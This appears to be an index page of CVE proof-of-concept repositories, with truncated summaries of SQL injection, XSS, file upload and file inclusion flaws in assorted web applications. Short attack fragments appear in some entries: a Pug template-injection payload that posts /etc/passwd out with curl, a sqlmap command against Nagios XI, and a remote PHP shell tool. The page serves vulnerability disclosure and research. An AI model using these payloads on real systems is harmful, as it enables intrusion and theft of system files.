CVE-2015-1427

CVE-2015-1427 Parámetros -u URL única -l Archivo de URLs -c Comando...

CVE-2021-21234

CVE-2021-21234 CVE-2021-21234 Recorrido de directorios en Spring Boot spring-boot-actuator-logview añade un simple visor de archivos de registro como endpoint del actuator de Spring Boot en una biblioteca. Es el paquete Maven «eu.hinsch:spring-boot-actuator-logview». Existe una vulnerabilidad de...

CVE-2021-40514

CVE-2021-40514 Vulnerabilidad de Cross Site Scripting Almacenado en OSCAR McMaster 19.401235 Existe una vulnerabilidad de Cross Site Scripting almacenado en múltiples páginas de la versión 19.401235 de la aplicación OSCAR McMaster que permite la ejecución arbitraria de comandos JavaScript. Marcad...

CVE-2024-51030

CVE-2024-51030 Descripción Una vulnerabilidad de inyección SQL en manageclient.php y viewcab.php de Sourcecodester Cab Management System 1.0 permite a atacantes remotos ejecutar comandos SQL arbitrarios a través del parámetro id, lo que conduce a acceso no autorizado y posible compromiso de datos...

CVE-2024-48427

CVE-2024-48427 Description A SQL injection vulnerability in Sourcecodester Packers and Movers Management System v1.0 allows remote authenticated users to execute arbitrary SQL commands via the id parameter in /mpms/admin/?page=services/manageservice&id Vulnerability Type SQL Injection Vendor of...

CVE-2019-12453

CVE-2019-12453 CVE-2019-12453 XSS almacenado en MicroStrategy Web anterior al parche 10 de la versión 10.1 Autor: undefinedmode https://github.com/undefinedmode/CVE-2019-12453 En MicroStrategy Web anterior a la versión 10.1, parche 10, es posible un XSS almacenado en el parámetro FLTB debido a la...

cve-2025-9933

🔒 Credential for admin panel Username: admin Password: Test@123 Username: [email protected] Password: Test@123 Or Register a new user. Description A vulnerability has been found in PHPGurukul Beauty Parlour Management System 1.1. Affected by this issue is some unknown functionality of the fi...

cve-2023-1874

CVE-2023-1874 Descargo de responsabilidad ESTE SCRIPT ESTÁ DISEÑADO SOLO PARA FINES EDUCATIVOS Y DE SOMBRERO BLANCO. CUALQUIER USO DE ESTO CONTRA UN DISPOSITIVO QUE NO ESTÉS AUTORIZADO A PROBAR O QUE NO POSEEAS ES TU PROPIA RESPONSABILIDAD. EL AUTOR DE ESTE SCRIPT NO SE HACE RESPONSABLE DE NADA D...

ABO.CMS-Login-SQLi-CVE-2024-25227

ABO.CMS-Login-SQLi-CVE-2024-25227 SQLi sin autenticación y Bypass de inicio de sesión CVE-2024-25227 Fecha: 23/02/2024 Probado en ABO.CMS 5.8 Vendedor: ABO.CMS URL del vendedor:https://abocms.ru ABO.CMS 5.8 es vulnerable a inyección SQL a través del parámetro tblogin, página de inicio de sesión d...

CVE-2019-12542

CVE-2019-12542 Zoho ManageEngine ServiceDesk Plus 9.3 vulnerabilidad XSS en SearchN.do Descripción de la información: Se descubrió un problema en Zoho ManageEngine ServiceDesk Plus 9.3. Hay XSS a través del parámetro userConfigID de SearchN.do. Autor: Concobe de Tarantula Team - VinCSS miembro de...

CVE-2025-69606-GSVoIP-XSS

CVE-2025-69606 — XSS Reflejado en el Panel Web de GSVoIP Severidad: Media | CWE: CWE-79 | Auth Requerida: No | Vector: Remoto Resumen Se identificó una vulnerabilidad de Cross-Site Scripting XSS Reflejado en el Panel Web de GSVoIP v2.0.90. El parámetro msg del endpoint de error no sanitiza la...

CVE-2025-66955

CVE-2025-66955 Local File Inclusion in Contact Plan, E-Mail, SMS and Fax components in Asseco SEE Live 2.0 allows remote authenticated users to access files on the host via "path" parameter in the downloadAttachment and downloadAttachmentFromPath API calls. CVSS Vectors CVSS 3.1: 7.7,...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Información de la vulnerabilidad Número CVE: cve-2021-21353 Puntuación CVSS: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

HeimShell

HeimShell CVE-2023-51803 HeimShell es un exploit para CVE-2023-51803 que aprovecha una vulnerabilidad de carga arbitraria de archivos en LinuxServer.io Heimdall ≤ 2.5.6. Detecta automáticamente la versión del objetivo y advierte sobre la explotabilidad u obtiene de forma remota un shell PHP...

CVE-2024-44542

CVE-2024-44542 Description: Se descubrió que todesk v1.1 contiene una vulnerabilidad de inyección SQL a través del parámetro title en /todesk.com/news.html. Tipo de vulnerabilidad: Inyección SQL Vendedor del producto: todesk Versión del producto afectada: todesk - v1.1 Componente afectado:...

CVE-2025-61148

CVE-2025-61148 The vulnerability exists in the Student Payment API. The application fails to properly validate whether the user requesting a receipt is authorized to view it. By modifying the recno parameter in the API request, an attacker can access the receipts of other users. CVE-2025-61148:...

CVE-2021-39378

OPENSIS 8.0 SQL INJECTION VULNERABILITY CVE-2021-39378 A SQL Injection vulnerability exists in version 8.0 of openSIS when MySQL MariaDB is being used as the application database. A malicious attacker can issue SQL commands to the MySQL MariaDB database through the vulnerable str= parameter...

CVE-2021-39377

VULNERABILIDAD DE INYECCIÓN SQL EN OPENSIS 8.0 CVE-2021-39377 Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL MariaDB como base de datos de la aplicación. Un atacante malintencionado puede enviar comandos SQL a la base de datos MySQL MariaDB a través de...

CVE-2023-40931-PoC

CVE-2023-40931 The sqlmap payload to exploit CVE-2023-40931 Payload Required Information: Valid Username and Password Domain and path of hosted instance sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=3&token=curl -ksX POST...

cve-2020-27358-27359

CVE-2020-27358 / CVE-2020-27359 Exploitation steps for CVE-2020-27358 and CVE-2020-27359 CVE-2020-27358 An issue was discovered in REDCap 8.11.6 through 9.x before 10. The messenger's CSV feature that allows users to export their conversation threads as CSV allows non-privileged users to export o...